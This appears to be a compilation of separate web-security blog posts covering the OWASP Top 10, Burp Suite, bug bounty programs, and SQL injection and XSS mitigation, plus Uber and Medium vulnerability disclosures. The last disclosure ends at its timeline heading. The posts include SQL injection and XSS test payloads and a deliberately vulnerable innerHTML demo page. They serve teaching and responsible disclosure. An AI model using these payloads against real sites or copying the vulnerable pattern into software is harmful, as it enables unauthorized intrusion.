What do web app pen-testers and bug bounty hunters have in common? They are both hunting for bugs, but the latter makes more money ;)

Web application security is a broad topic. There are many ways a web app can be exploited. This can be a challenge for security engineers, especially if they are getting started in their careers.

OWASP, short for Open Web Application Security Project, is an organization dedicated to improving software security. OWASP provides tools and resources for security engineers to help make their applications more secure.

OWASP’s most important contribution to cybersecurity is the OWASP Top 10 Vulnerabilities list. This list contains the 10 most critical web application security risks that should be monitored and prevented.

Knowing these 10 security risks will help you reduce the risk of attacks against your company’s web assets. It also helps bug-bounty hunters get an idea of what to look for while auditing web applications.

Let’s look at each OWASP vulnerability in detail.

Injection Attacks

Credits: One.com

An injection is a type of vulnerability in which an attacker injects malicious code into a web app. Injections can lead to unauthorized access to sensitive data, loss of data, or even complete system compromise.

An example of an injection attack is SQL Injection. This is where an attacker injects malicious SQL code into a web application’s SQL query. This is performed when inputs into the web app are not properly checked. If successful, the malicious code gets executed by the database server.

Another example is Command Injection. Here, an attacker injects malicious shell commands into a web application. This can lead to devastating consequences including a complete system takeover.

To prevent injection attacks, check and sanitize all user input. Sanitizing is the removal of harmful or malicious data entered into the input box.

For example, if a user enters any characters other than an alphanumeric string, you can remove them before you send it to the backend and double check it in the backend as well. This helps to eliminate harmful or malicious content and protects against security threats.

Also, always use ready-made SQL queries in the backend instead of generating SQL queries on the fly. Additionally, keep all software and libraries up to date with the latest security patches.

Insufficient Monitoring and Logging

Credits: Scalyr

Insufficient monitoring and logging refers to the lack of proper monitoring and logging for a web server or database. This makes detection and response to security incidents difficult.

For example, if a system does not have proper logging in place, it will be difficult to detect when an attacker tries to compromise the system. Without real-time monitoring, it will be difficult to detect security incidents on time.

To address insufficient monitoring and logging, you should implement robust monitoring systems that capture a wide range of events. This includes logging access to sensitive data, network traffic, and system logs.

Include monitoring for network devices as well by using services like Snort. Snort is a free open source network intrusion detection and prevention system. Also, review and analyze log data periodically to identify trends and potential security incidents.

Broken Authentication

Credits: SSL2BUY

Broken authentication refers to weaknesses in the authentication process. This includes issues such as weak or easily guessable passwords, lack of proper password management, and using vulnerable authentication mechanisms.

For example, an attacker can exploit a system that allows weak passwords by guessing common passwords from a list like rockyou.txt. They can also use brute-force tools like Hydra and other password-cracking tools to break encryption if a weak algorithm is used.

Another example is using easily guessable security questions, such as “What is your mother’s maiden name?”. An attacker who has done basic research on the target can easily answer these questions.

To prevent broken authentication, enable strong authentication mechanisms, such as multi-factor authentication (MFA). Enforce password recycling policies that require users to change passwords periodically.

Sensitive Data Exposure

Credits: Spaceclick

Sensitive Data Exposure refers to storing and transmitting sensitive information without proper security. This includes passwords, credit card numbers, and personally identifiable information (PII).

The most common reason for this is lack of encryption. Encryption is the process of encoding information. This process converts the original text, known as plaintext, into an alternative form known as ciphertext. Ideally, only authorized parties can decipher a ciphertext back to plaintext and access the original information.

For example, if you have a database where you store passwords, you have to use some type of an encryption to protect your customer's passwords. If you store them as plaintext, you will be putting your customers under risk if you expose their passwords.

Without protective methods such as encryption, sensitive data exposure can result in the data being intercepted, stolen, or manipulated by an attacker. To mitigate this risk, always encrypt sensitive information when stored and transmitted.

Always store encrypted passwords instead of plain-text passwords. Enable access controls to ensure that only authorized personnel can access sensitive data.

XML External Entities

Credits: Cobalt.io

XML External Entities is a vulnerability that affects XML processors. This happens when they parse XML input from a user without proper validation.

This vulnerability allows an attacker to inject malicious XML code into an XML document. This can lead to the exposure of sensitive information, denial of service, and even remote code execution.

To prevent XXE attacks, applications should validate and sanitize XML input. Disable XML external entity and DTD processing by default.

Whenever possible, use a less complex data format, such as JSON. Most APIs are now JSON-based, so it would be a win-win to move away from XML to JSON.

Broken Access Control

Credits: JavatPoint

While authentication tells us whether a user can access a system, access control tells us who can access a specific resource in a system.

Broken Access Control happens when an application does not restrict access to sensitive resources. This includes files, database records, or even product features that should be limited to select users.

Broken access control can lead to unauthorized users being able to view, change, or delete sensitive data. To reduce this risk, enable strong access control policies like role-based access for users, admins, and others.

Assign access rights based on the principle of least privilege. This means users should only have the least access required to perform their job. Regular security audits and assessments will help identify these access control vulnerabilities.

Security Misconfiguration

Credits: MyF5

Security Misconfiguration arises when an application is not configured properly. This will result in the exposure of critical information, such as error messages or system details.

For example, if you don't change the default settings of your backend, it can expose the error message to the user instead of gracefully handling it. You can often see this in PHP sites that print an error in the browser instead of a 500 message.

To reduce this risk, hide all debug and error messages from your production application. Apply appropriate security controls and patches as needed, on time. Finally, perform regular security scans and assessments to make sure there is no misconfiguration in your applications.

Cross-Site Scripting (XSS)

Credits: Imperva

Cross-Site Scripting (XSS) is a common security issue in websites. If not handled, an attacker can inject malicious scripts into a web page. This script is then executed by the victim’s web browser.

Consider a website that allows users to post comments. An attacker could craft a comment that contains malicious JavaScript code and add it as a comment. If the input is not sanitized by the website, this code will execute on every user who opens the comments page.

XSS attacks can steal data such as login details, perform unauthorized actions on behalf of the victim, or even redirect the victim to a malicious website. To prevent XSS attacks, always sanitize user-generated content and double-check input data on the server side.

Insecure Deserialization

Credits: Portswigger

Deserialization is the process of converting a stream of bytes back into a data structure that a program can then use. Insecure Deserialization occurs when a web app deserializes untrusted data.

For example, a web application may allow users to upload a file containing serialized Java objects as input. The web application then deserializes the objects and processes them.

An attacker can craft a malicious file, which, when deserialized, will execute malware. This will allow an attacker to perform various types of attacks, such as remote code execution and privilege escalation.

To prevent Insecure Deserialization attacks, double-check all inputs from the user. Limit the amount of code that runs with high privileges and ensure that you encrypt all sensitive data.

Using Components with Known Vulnerabilities

Credits: Wildnet

When you plan to use a piece of software, check for known vulnerabilities. There are many public databases like exploitdb that will help you look for issues with third-party software.

These databases contain publicly disclosed vulnerabilities for various software and applications. Failing to do this will leave your application open to attacks. An attacker will do the research for you and use these vulnerabilities to gain access to your system.

For example, your application may use a third-party library to handle file uploads, but that library might have a known vulnerability. This will leave the application open to attack, even if the rest of the application is secure.

Make sure you do your research before using any third-party software for your business.

Summary

To summarize, OWASP’s Top 10 vulnerabilities is a vital checklist. It helps us to keep our web applications and software secure.

As a pen-tester or a bug bounty hunter, you should be aware of these vulnerabilities to stay ahead of attackers.

Always sanitize user input, employ logging, and do your research before using any third-party software.

Hope you found this article insightful. You can find more AI & cybersecurity articles / videos on my website.

Burp Suite is a powerful and widely-used web application testing platform. It helps security engineers identify potential risks in web applications.

Burp Suite is also widely used by bug-bounty hunters. Since Burp Suite is a fully featured web-auditing platform, it comes with many tools to help you discover bugs in web applications. You can also use third-party modules to further improve Burp Suite's capabilities.

Burp Suite is an essential tool for any security testing team. In this article, we’ll take a closer look at the main components of Burp Suite, including the proxy, the intruder, and the repeater.

Burp Proxy

One of the key components of Burp Suite is the Burp Proxy. This tool allows you to intercept and inspect traffic between your browser and the target.

By intercepting this traffic, you can understand exactly what data is being sent and received. This is useful for identifying potential vulnerabilities or misconfigurations in the application.

The proxy is particularly useful for identifying issues such as cross-site scripting (XSS) and SQL injection.

XSS is a type of security vulnerability that allows an attacker to inject malicious code into a web page. SQL injection allows an attacker to inject malicious SQL code into a web application.

By identifying these types of issues, you can take steps to mitigate them and improve the security of your application.

Also, Burp proxy allows us to forward requests to other Burp tools before sending them to the target. This allows us to further analyze the traffic and inspect individual requests and responses. This can be useful for identifying patterns or anomalies that might indicate a vulnerability.

Burp Repeater

Another key component of Burp Suite is the Burp Repeater. The Repeater is a powerful tool that allows you to test the application by sending custom requests and analyzing the responses.

One of the key benefits of the Repeater is its ability to identify vulnerabilities that might not be visible during automated scans. Automated scans are useful for identifying a wide range of common vulnerabilities, but they may not be able to detect all the issues.

The Repeater gives us greater control over the testing process. It allows us to fine-tune our tests to identify specific vulnerabilities. For example, we will be able to identify a vulnerability by sending a request with a specific input.

By analyzing the response, we may find that the application is behaving in unexpected ways. This will indicate the possibility of a vulnerability. This vulnerability might not be detected using an automated scan, but it could potentially be exploited by an attacker.

The Repeater can also test the application’s resilience to specific types of attacks. For example, you can use the Repeater to send a series of requests to test the application’s ability to handle SQL injection or cross-site scripting (XSS) attacks.

By understanding the application’s behavior in these scenarios, you can take steps to improve its security.

Burp Intruder

One of the most powerful tools in Burp Suite is the Burp Intruder. This tool allows you to launch automated attacks on web applications to test their security.

With the Burp Intruder, you can test for a wide range of vulnerabilities. This includes SQL injection, cross-site scripting (XSS), and directory traversal. The intruder is highly flexible, allowing us to customize our attacks.

We can also use the intruder to perform specific audits such as brute-forcing, dictionary attacks, and fuzzing. The Intruder also lets us target specific areas of the application by selecting custom parameters.

Given the damage Intruder can cause if used carelessly, Burp Suite has implemented rate-limiting in the community edition. This means that you can only use the Intruder for a certain number of requests, such as brute-forcing a login form, in the free version of the tool.

If you’re planning to use Burp Suite to audit your business applications, consider purchasing a commercial license. This will give you access to all the features of Burp Suite without any rate limits.

Other Burp Tools

Burp Suite also comes with many additional tools. These include the spider, scanner, decoder, sequencer, and comparer.

These tools serve as utilities in general web application audits. For example, the spider can help discover and map the content and structure of a web application. We can use the scanner to perform automated vulnerability scans.

The decoder helps to decode and analyze encoded data, while the sequencer enables us to test the randomness of tokens and session IDs. The comparer compares the behavior of different requests and responses.

In addition to these, there are also many third-party modules available in Burp Suite. These modules further extend the capabilities of Burp Suite to help us test our web applications.

Summary

In conclusion, Burp Suite is a powerful set of tools for web application auditing. It includes a range of tools and features for testing the security of web applications.

The proxy, the intruder, and the repeater are some of the main components of Burp Suite, each one with a specific function for identifying and assessing security risks.

With the help of these tools, security professionals and testers can identify and mitigate risks in web applications. With all-around web auditing features, it is also an essential tool for bug-bounty hunters.

Hope you enjoyed this article. You can find more about my articles and videos on my website.

Bug bounty programs allow independent security researchers to report bugs to an organization and receive rewards or compensation. These bugs are usually security exploits and vulnerabilities, though they can also include process issues, hardware flaws, and so on.

The reports are typically made through a program run by an independent third party (like Bugcrowd or HackerOne). The organization will set up (and run) a program curated to the organization's needs.

Programs may be private (invite-only) where reports are kept confidential to the organization or public (where anyone can sign up and join). They can take place over a set time frame or with no end date (though the second option is more common).

Who uses bug bounty programs?

Many major organizations use bug bounties as a part of their security program, including AOL, Android, Apple, Digital Ocean, and Goldman Sachs. You can view a list of all the programs offered by major bug bounty providers, Bugcrowd and HackerOne, at these links.

Why do companies use bug bounty programs?

Bug bounty programs give companies the ability to harness a large group of hackers in order to find bugs in their code.

This gives them access to a larger number of hackers or testers than they would be able to access on a one-on-one basis. It can also increase the chances that bugs are found and reported to them before malicious hackers can exploit them.

It can also be a good public relations choice for a firm. As bug bounties have become more common, having a bug bounty program can signal to the public and even regulators that an organization has a mature security program.

This trend is likely to continue, as some have started to see bug bounty programs as an industry standard which all organizations should invest in.

Why do researchers and hackers participate in bug bounty programs?

Finding and reporting bugs via a bug bounty program can result in both cash bonuses and recognition. In some cases, it can be a great way to show real-world experience when you're looking for a job, or can even help introduce you to folks on the security team inside an organization.

This can be full time income for some folks, income to supplement a job, or a way to show off your skills and get a full time job.

It can also be fun! It's a great (legal) chance to test out your skills against massive corporations and government agencies.

What are the disadvantages of a bug bounty program for independent researchers and hackers?

A lot of hackers participate in these types of programs, and it can be difficult to make a significant amount of money on the platform.

In order to claim the reward, the hacker needs to be the first person to submit the bug to the program. That means that in practice, you might spend weeks looking for a bug to exploit, only to be the second person to report it and make no money.

Roughly 97% of participants on major bug bounty platforms have never sold a bug.

In fact, a 2019 report from HackerOne confirmed that out of more than 300,000 registered users, only around 2.5% received a bounty in their time on the platform.

Essentially, most hackers aren't making much money on these platforms, and very few are making enough to replace a full time salary (plus they don't have benefits like vacation days, health insurance, and retirement planning).

What are the disadvantages of bug bounty programs for organizations?

These programs are only beneficial if the program results in the organization finding problems that they weren't able to find themselves (and if they can fix those problems)!

If the organization isn't mature enough to be able to quickly remediate identified issues, a bug bounty program isn't the right choice for their organization.

Also, any bug bounty program is likely to attract a large number of submissions, many of which may not be high-quality submissions. An organization needs to be prepared to deal with the increased volume of alerts, and the possibility of a low signal to noise ratio (essentially that it's likely that they'll receive quite a few unhelpful reports for every helpful report).

Additionally, if the program doesn't attract enough participants (or participants with the wrong skill set, and thus participants aren't able to identify any bugs), the program isn't helpful for the organization.

The vast majority of bug bounty participants concentrate on website vulnerabilities (72%, according to HackerOn), while only a few (3.5%) opt to look for operating system vulnerabilities.

This is likely due to the fact that hacking operating systems (like network hardware and memory) requires a significant amount of highly specialized expertise. This means that companies may see significant return on investment for bug bounties on websites, and not for other applications, particularly those which require specialized expertise.

This also means that organizations which need to examine an application or website within a specific time frame might not want to rely upon a bug bounty as there's no guarantee of when or if they receive reports.

Finally, it can be potentially risky to allow independent researchers to attempt to penetrate your network. This may result in public disclosure of bugs, causing reputation damage in the public eye (which may result in people not wanting to purchase the organizations' product or service), or disclosure of bugs to more malicious third parties, who could use this information to target the organization.

Is a bug bounty program right for every organization?

No. An organization needs to reach a certain level of maturity in their security program before a bug bounty program can be effective.

The biggest question an organization needs to ask is whether or not they will be able to fix any identified vulnerabilities. If they can't do so within a reasonable amount of time, a bug bounty program probably isn't a good idea.

If the organization is struggling to implement basic patch management or they have a host of other identified problems that they are struggling to fix, then the additional volume of reports which a bug bounty program will generate is not a good idea.

A bug bounty program becomes a good idea when there is not a backlog of identified security issues, remediation processes are in place for addressing identified issues, and the team is looking for additional reports.

Additionally, as I mentioned earlier, while websites are usually good targets for bug bounty programs, a highly specialized target, such as network hardware or even operating systems, may not attract enough participants to be worthwhile.

Finally, the amount of money or prestige afforded by successfully submitting a report for different organizations may impact the number of participants and the number of highly skilled participants (that is, reporting a bug for Apple or Google may carry more prestige than a bug for a company which isn't as well known).

What are the alternatives to bug bounty programs?

First, organizations should have a vulnerability disclosure program. Essentially, this provides a secure channel for researchers to contact the organization about identified security vulnerabilities, even if they do not pay the researcher.

Having an identified point of contact can be helpful as it can immediately filter requests to the security team, rather than a communications team which may not know how seriously to treat the report. It can also encourage researchers to report vulnerabilities when found.

Typically this also includes a framework for how to handle intake, mitigation, and any remediation measures.

Additionally, organizations may opt to hire a penetration testing firm to perform a time-limited test of specific systems or applications. The pen testers will have a curated, directed target and will produce a report at the end of the test.

This will ensure that the company gets a team of highly skilled, trusted hackers at a known price. They can also request any specialized expertise which they need, as well as ensuring the test is private, rather than publicly accessible.

The company may even have the testers sign non-disclosure agreements and test highly sensitive internal applications.

However, this is typically a single event, rather than an ongoing bounty. Also, penetration testers are paid whether or not they find any vulnerabilities (whereas in a bug bounty the researchers are only paid if they successfully report a bug).

Which is better – bug bounty programs or hired penetration testers?

Often these two methods are not directly comparable - each has strengths and weaknesses.

If the organization would benefit more from having more people (of varying skill levels) looking at a problem, the application isn't particularly sensitive, and it doesn't require specific expertise, a bug bounty is probably more appropriate.

If the application is internal/sensitive, the problem requires specific expertise, or the organization needs a response within a specific time frame, a penetration test is more appropriate.

Interested in learning more about bug bounties?

• HackerOne has an introductory course to help folks get into bug bounties.
• Here's an interview with Katie Moussouris, one of the biggest names in Bug Bounties.

Especially in a software market where shipping new apps seems more like a race for reputation than a well-considered process, one of the most important questions often falls to the bottom of the “Urgent” column: how will our product be secured?

If you’re using a robust, open-source framework for building your product (and if one is applicable and available, why wouldn’t you?) then some basic security concerns, like CSRF tokens and password encryption, may already be handled for you.

Still, fast-moving developers would be well served to brush up on their knowledge of common threats and pitfalls, if only to avoid some embarrassing rookie mistakes. Usually, the weakest point in the security of your software is you.

I’ve recently become more interested in information security in general, and practicing ethical hacking in particular. An ethical hacker, sometimes called a “white hat” hacker, and sometimes just a “hacker,” is someone who searches for possible security vulnerabilities and responsibly (privately) reports them to project owners.

By contrast, a malicious or “black hat” hacker, also called a “cracker,” is someone who exploits these vulnerabilities for amusement or personal gain.

Both white hat and black hat hackers might use the same tools and resources, and generally try to get into places they aren’t supposed to be. But white hats do this with permission, and with the intention of fortifying defences instead of destroying them. Black hats are the bad guys.

When it comes to learning how to find security vulnerabilities, it should come as no surprise that I’ve been devouring whatever information I can get my hands on. This post is a distillation of some key areas that are specifically helpful to developers when handling user input. These lessons have been collectively gleaned from these excellent resources:

• The Open Web Application Security Project guides
• The Hacker101 playlist from HackerOne’s YouTube channel
• Web Hacking 101 by Peter Yaworski
• Brute Logic’s blog
• The Computerphile YouTube channel
• Videos featuring Jason Haddix (@jhaddix) and Tom Hudson (@tomnomnom) (two accomplished ethical hackers with different, but both effective, methodologies)

You may be familiar with the catchphrase, “sanitize your inputs!” However, as I hope this post demonstrates, developing an application with robust security isn’t quite so straightforward.

I suggest an alternate phrase: pay attention to your inputs. Let’s elaborate by examining the most common attacks that take advantage of vulnerabilities in this area: SQL injection and cross site scripting.

SQL injection attacks

If you’re not yet familiar with SQL (Structured Query Language) injection attacks, or SQLi, here is a great explain-like-I’m-five video on SQLi. You may already know of this attack from xkcd’s Little Bobby Tables.

Essentially, malicious actors may be able to send SQL commands that affect your application through some input on your site, like a search box that pulls results from your database. Sites coded in PHP can be especially susceptible to these, and a successful SQL attack can be devastating for software that relies on a database (as in, your Users table is now a pot of petunias).

You have no chance to survive make your time.

You can test your own site to see if you’re susceptible to this kind of attack. (Please only test sites that you own, since running SQL injections where you don’t have permission to be doing so is, possibly, illegal in your locality; and definitely, universally, not very funny.) The following payloads can be used to test inputs:

• ' OR 1='1 evaluates to a constant true, and when successful, returns all rows in the table.
• ' AND 0='1 evaluates to a constant false, and when successful, returns no rows.

This video demonstrates the above tests, and does a great job of showing how impactful an SQL injection attack can be.

Thankfully, there are ways to mitigate SQL injection attacks, and they all boil down to one basic concept: don’t trust user input.

SQL injection mitigation

In order to effectively mitigate SQL injections, developers must prevent users from being able to successfully submit raw SQL commands to any part of the site.

Some frameworks will do most of the heavy lifting for you. For example, Django implements the concept of Object-Relational Mapping, or ORM, with its use of QuerySets. We can think of these as wrapper functions that help your application query the database using pre-defined methods that avoid the use of raw SQL.

Being able to use a framework, however, is never a guarantee. When dealing directly with a database, there are other methods we can use to safely abstract our SQL queries from user input, though they vary in efficacy. These are, by order of most to least preferred, and with links to relevant examples:

1. Prepared statements with variable binding (or parameterized queries),
2. Stored procedures; and
3. Whitelisting or escaping user input.

If you want to implement the above techniques, the linked cheatsheets are a great starting point for digging deeper. Suffice to say, the use of these techniques to obtain data instead of using raw SQL queries helps to minimize the chances that SQL will be processed by any part of your application that takes input from users, thus mitigating SQL injection attacks.

The battle, however, is only half won…

Cross Site Scripting (XSS) attacks

If you’re a malicious coder, JavaScript is pretty much your best friend. The right commands will do anything a legitimate user could do (and even some things they aren’t supposed to be able to) on a web page, sometimes without any interaction on the part of an actual user.

Cross Site Scripting attacks, or XSS, occur when JavaScript code is injected into a web page and changes that page’s behavior. Its effects can range from prank nuisance occurrences to more severe authentication bypasses or credential stealing. This incident report from Apache in 2010 is a good example of how XSS can be chained in a larger attack to take over accounts and machines.

The annual DOM dance-off receives an unexpected guest

XSS can occur on the server or on the client side, and generally comes in three flavors: DOM (Document Object Model) based, stored, and reflected XSS. The differences amount to where the attack payload is injected into the application.

DOM based XSS

DOM based XSS occurs when a JavaScript payload affects the structure, behavior, or content of the web page the user has loaded in their browser. These are most commonly executed through modified URLs, such as in phishing.

To see how easy it would be for injected JavaScript to manipulate a page, we can create a working example with an HTML web page. Try creating a file on your local system called xss-test.html (or whatever you like) with the following HTML and JavaScript code:

<html>
    <head>
        <title>My XSS Example</title>
    </head>
    <body>
        <h1 id="greeting">Hello there!</h1>
            <script>
                var name = new URLSearchParams(document.location.search).get('name');
                if (name !== 'null') {
                    document.getElementById('greeting').innerHTML = 'Hello ' + name + '!';
                }
            </script>
        </h1>
</html>

This web page will display the title “Hello there!” unless it receives a URL parameter from a query string with a value for name. To see the script work, open the page in a browser with an appended URL parameter, like so:

file:///path/to/file/xss-test.html?name=Victoria

Fun, right? Our insecure (in the safety sense, not the emotional one) page takes the URL parameter value for name and displays it in the DOM. The page is expecting the value to be a nice friendly string, but what if we change it to something else? Since the page is owned by us and only exists on our local system, we can test it all we like. What happens if we change the name parameter to, say, <img+src+onerror=alert("pwned")>?

This is just one example, largely based on one from Brute’s post, that demonstrates how an XSS attack could be executed. Funny pop-up alerts may be amusing, but JavaScript can do a lot of harm, including helping malicious attackers steal passwords and personal information.

Stored and reflected XSS

Stored XSS occurs when the attack payload is stored on the server, such as in a database. The attack affects a victim whenever that stored data is retrieved and rendered in the browser. For example, instead of using a URL query string, an attacker might update their profile page on a social site to include a hidden script in, say, their “About Me” section. The script, improperly stored on the site’s server, would successfully execute at a later time when another user views the attacker’s profile.

One of the most famous examples of this is the Samy worm that all but took over MySpace in 2005. It propogated by sending HTTP requests that replicated it onto a victim’s profile page whenever an infected profile was viewed. Within just 20 hours, it had spread to over a million users.

Reflected XSS similarly occurs when the injected payload travels to the server, however, the malicious code does not end up stored in a database. It is instead immediately returned to the browser by the web application.

An attack like this might be executed by luring the victim to click a malicious link that sends a request to the vulnerable website’s server. The server would then send a response to the attacker as well as the victim, which may result in the attacker being able to obtain passwords, or perpetrate actions that appear to originate from the victim.

XSS attack mitigation

In all of these cases, XSS attacks can be mitigated with two key strategies: validating form fields, and avoiding the direct injection of user input on the web page.

Validating form fields

Frameworks can again help us out when it comes to making sure that user-submitted forms are on the up-and-up. One example is Django’s built-in Field classes, which provide fields that validate to some commonly used types and also specify sane defaults. Django’s EmailField, for instance, uses a set of rules to determine if the input provided is a valid email. If the submitted string has characters in it that are not typically present in email addresses, or if it doesn’t imitate the common format of an email address, then Django won’t consider the field valid and the form will not be submitted.

If relying on a framework isn’t an option, we can implement our own input validation. This can be accomplished with a few different techniques, including type conversion, for example, ensuring that a number is of type int(); checking minimum and maximum range values for numbers and lengths for strings; using a pre-defined array of choices that avoids arbitrary input, for example, months of the year; and checking data against strict regular expressions.

Thankfully, we needn’t start from scratch. Open source resources are available to help, such as the OWASP Validation Regex Repository, which provides patterns to match against for some common forms of data. Many programming languages offer validation libraries specific to their syntax, and we can find plenty of these on GitHub. Additionally, the XSS Filter Evasion Cheat Sheet has a couple suggestions for test payloads we can use to test our existing applications.

While it may seem tedious, properly implemented input validation can protect our application from being susceptible to XSS.

Avoiding direct injection

Elements of an application that directly return user input to the browser may not, on a casual inspection, be obvious. We can determine areas of our application that may be at risk by exploring a few questions:

• How does data flow through our application?
• What does a user expect to happen when they interact with this input?
• Where on our page does data appear? Does it become embedded in a string or an attribute?

Here are some sample payloads that we can play with in order to test inputs on our site (again, only our own site!) courtesy of Hacker101. The successful execution of any of these samples can indicate a possible XSS vulnerability due to direct injection.

• "><h1>test</h1>
• '+alert(1)+'
• "onmouserover="alert(1)
• http://"onmouseover="alert(1)

As a general rule, if you are able to design around directly injecting input, do so. Alternatively, be sure to completely understand the effect of the methods you choose; for example, using innerText instead of innerHTML in JavaScript will ensure that content will be set as plain text instead of (potentially vulnerable) HTML.

Pay attention to your inputs

Software developers are at a marked disadvantage when it comes to competing with black hat, or malicious, hackers. For all the work we do to secure each and every input that could potentially compromise our application, an attacker need only find the one we missed. It’s like installing deadbolts on all the doors, but leaving a window open!

By learning to think along the same lines as an attacker, however, we can better prepare our software to stand up against bad actors. Exciting as it may be to ship features as quickly as possible, we’ll avoid racking up a lot of security debt if we take the time beforehand to think through our application’s flow, follow the data, and pay attention to our inputs.

This is being published with the permission of Uber under the responsible disclosure policy.

The vulnerability detailed in this blog post is being disclosed by Anand Prakash and Manisha Sangwan of team AppSecure. This was plugged quickly by the engineering team at Uber.

This post is about an information leakage vulnerability on riders.uber.com in which we identified an public API endpoint of https://riders.uber.com/profile that could send back server tokens and client secret for applications authorized by the account owner to access their Uber account.

As per Uber’s documentation:

_“The secret for your application, this should be treated like your application’s password. Never share this with anyone, check this into source code, or post in any public forum. Additionally, this should not be distributed on client devices where users could decompile your code and access the secret. If you suspect your clientsecret has been compromised you may generate a new one in your application’s dashboard which will immediately invalidate the old secret.”

This could have been easily exploited by an attacker by connecting their account to any Uber application on production and then using the profile endpoint to retrieve server tokens and client secrets of the connected application in the API response.

Uber fixed this issue by removing this data from the API response, as reported. Uber publicly notified all developers of this vulnerability and asked developers to rotate secrets on a periodic basis.

Notification sent by Uber to developers.

About Uber

Uber is a transportation network company (TNC) headquartered in San Francisco, California. Uber offers services including peer-to-peer ridesharing, taxi cab hailing, food delivery, and a bicycle-sharing system. The company has operations in 785 metropolitan areas worldwide. Uber has a valuation of over $100 billion as per Bloomberg’s report.

How my exploit worked step-by-step

Step #1

Attacker connects a random Uber developer application to their account using OAuth. A few examples of Uber developer applications are IFTTT, Payfare, and Bixby. It is not identified as a complicated procedure as of now.

Step #2

Once the above apps are connected by the attacker to their Uber account, they can use against the endpoint to get the developer application’s confidential data and other significant information of the application using the attacker’s session data.

The vulnerable Uber API:

POST /api/getAuthorisedApps HTTP/1.1
Host: riders.uber.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: [https://riders.uber.com/profile](https://riders.uber.com/profile)
content-type: application/json
x-csrf-token: XXX
origin: [https://riders.uber.com](https://riders.uber.com)
Content-Length: 2
Cookie:

Data getting leaked in API response:

{“status”:”success”,”data”:{“data”:{“uuid”:”xxxx”},”clientScopes”:{“authorizedClientScopes”:[{“clientID”:”xxx”,”scopes”:[“history”,”offline_access”,”profile”]}]},”scopeDetails”:[{“applicationDetails”:{“applicationID”:”xxx”,”owner”:{“userUUID”:”xxxx”,”userEmail”:””},”applicationSecret”:”xxx”,”name”:”xxx”,”description”:”abc”,”privacyPolicyURL”:”[https://appsecure.in](https://appsecure.in)","surgeConfirmedRedirectURI":"","webhookURL":"","applicationType":"","requestsPerHour":{"low":0,"high":0,"unsigned":false},"redirectURIs":["xxxxxx"],"appSignatures":[],"defaultScopes":["history","profile"],"whitelistedScopes":[],"originURIs":[],"serverTokens":["xxx"],"ipWhitelist":[],"admins":[{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""},{"userUUID":"xxxx","userEmail":""}],"developers":[{"userUUID":"xxxx","userEmail":""}],"tags":[],"oauthEnabled":false,"smsVerificationEnabled":false,"cobrandingEnabled":false,"supplyOnly":false,"isInternal":true,"cobrandingDetails":{"nativeURL":"","androidFallbackURL":"","iosFallbackURL":"","displayName":"","linkName":"","logoUUID":"","logoFiletype":"","generatedLogoURL":""},"availableScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"openScopes":["delivery","history","history_lite","places","profile","ride_widgets"],"developerScopes":["all_trips","request","request_receipt"],"createdAt":{"low":xxx,"high":0,"unsigned":false},"updatedAt":{"low":xxx,"high":0,"unsigned":false},"displayName":null,"iconURL":null,"publicDescription":null,"appGalleryDetails":{"mobilePlatforms":[],"publicationState":"","redirectURI":"xxxx","permissionState":""}},"permissions":null,"userRoleInvitations":null}]}}

Disclosure Timeline

October 5th, 2018: Report sent to Uber’s Security team.

November 6th, 2018: Issue resolved by Uber. AppSecure asked Uber to notify all developers in case their app secrets were no longer confidential. We verified the fix.

December 20th 2018: Uber replied, stating, “They are in process of notifying the developers and in process of putting up long term fix in place for this issue.”

February 8th 2019: Uber rewarded us with $5000 bounty and notified all developers via email about the same. The issue was publicly disclosed after the action was conducted.

In my previous post, I tried to demonstrate how powerful and cool reverse engineering Android apps can be. I did this by showing how to modify Medium’s app so all membership-required stories in it would be available for free.

Well, there was a bit more to the story :)

While working towards my desired goal, I found a large collection of API endpoints that Medium declared in their code, which exposed a neat Cache Deception vulnerability after a short iteration on them. I was especially excited about that find because cache-based attacks are exceptionally awesome, and it could have been a great addition to my story.

Unfortunately, it took Medium three months and a couple of reminders to respond, so I had to wait with the public disclosure for a bit.

In this post, I will try to explain intuitively what Cache Deception is, describe the bug at Medium, and reference two outstanding articles about cache-based attacks.

Cache Deception

Web browsers cache servers’ static responses so they won’t need to request them again — saving both time and bandwidth.

In a similar principle, servers and CDNs (Content delivery networks, Cloudflare for example) cache responses too (their own responses), so they won’t need to waste time processing them again. Instead of passing to the server a request that the CDN already knows its response to (i.e. a static image), it can return a response immediately to the client and reduce both server load and response time.

When servers cache static responses, everyone benefits from it. But what happens when a server caches a non-static response that contains some sensitive information? The server will start serving the cached response to everyone from now on, hence making any sensitive information in it public!

So that’s basically what Cache Deception is — making servers cache sensitive data, by exploiting badly configured caching rules. After the sensitive data is cached, an attacker can come back to hoard it, for example.

Caching User Profiles

Medium uses the library Retrofit to turn their HTTP APIs into Java interfaces for their Android app, so basically every endpoint lies nicely in their code with all of its available parameters specified. I extracted all of them to a list that ended up being about 900 endpoints.

Some extracted endpoints

That list was a real treasure, so I couldn’t stop myself from spending some time iterating it. Among other things, I looked for URLs that ended with user controlled input, because there is a common miss-configuration of caching services to cache every resource path that looks like a file. Remember, our goal is to find endpoints that both contain sensitive information and are cached by Medium’s servers. So, finding an API endpoint that’s being cached would be great.

As it turned out, Medium indeed cached paths that looked like files by default, but only for resources that were right under the root directory of the site, URLs like https://medium.com/niceImage.png.

Fortunately, my beautiful list contained one endpoint that held the above requirements — user profile pages. By setting my username to “yuval.png”, my profile page URL became https://medium.com/@yuval.png, and when someone visited it, its response was cached there for a while (4 hours, then the server dropped it). And that was actually the whole bug, setting usernames to end with a file extension -in order to cause profile pages to be cached.

What sensitive information can be extracted from cached responses of visits to my profile page?

• CSRF tokens. Those are embedded in the returned document. (Cross-Site Request Forgery in simple words)
• Information about who viewed my profile. The currently logged in user can also be extracted from returned documents.

The fact that each cached response was there for 4 hours and blocked other responses from being cached wasn’t a problem, because by using a simple script usernames can be changed repeatedly (and generate new URLs that aren’t cached yet).

Note that this bug could have also been used by users that were willing to hide the “block user” option on their own profile page, if they repeatedly entered it (again, using a script). This would work because users don’t have the option to block themselves on their own profile and so others wouldn’t have it either when they receive a cached response that was created for the account owner.

Report Timeline

I sent Medium my report through their bug bounty program, and here’s the timeline:

